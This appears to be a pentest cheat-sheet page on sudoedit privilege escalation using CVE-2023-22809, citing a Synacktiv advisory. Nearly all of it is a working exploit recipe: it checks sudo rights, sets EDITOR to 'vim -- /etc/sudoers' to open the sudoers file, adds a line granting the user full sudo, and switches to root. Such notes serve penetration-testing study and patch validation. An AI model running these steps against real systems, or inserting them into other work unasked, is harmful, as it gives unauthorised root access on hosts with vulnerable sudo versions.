# Sudoedit Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```bash
sudo -l

(root) sudoedit /opt/example.txt
Copied!
```

If we can execute sudoedit command as root, we might be able to escalate the privileges with some version.

<br>

### [Exploitation (](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/#exploitation-\(cve-2023-22809\))[CVE-2023-22809](https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf)) <a href="#exploitation-cve-2023-22809" id="exploitation-cve-2023-22809"></a>

```bash
export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txt
Copied!
```

In vim editor, add the following line in **`/etc/sudoers`**.\
Assume the current username is “john”

```bash
john ALL=(ALL:ALL) ALL
Copied!
```

After that, we can escalate to root privilege.

```bash
sudo su root
Copied!
```

### References

* <https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf>
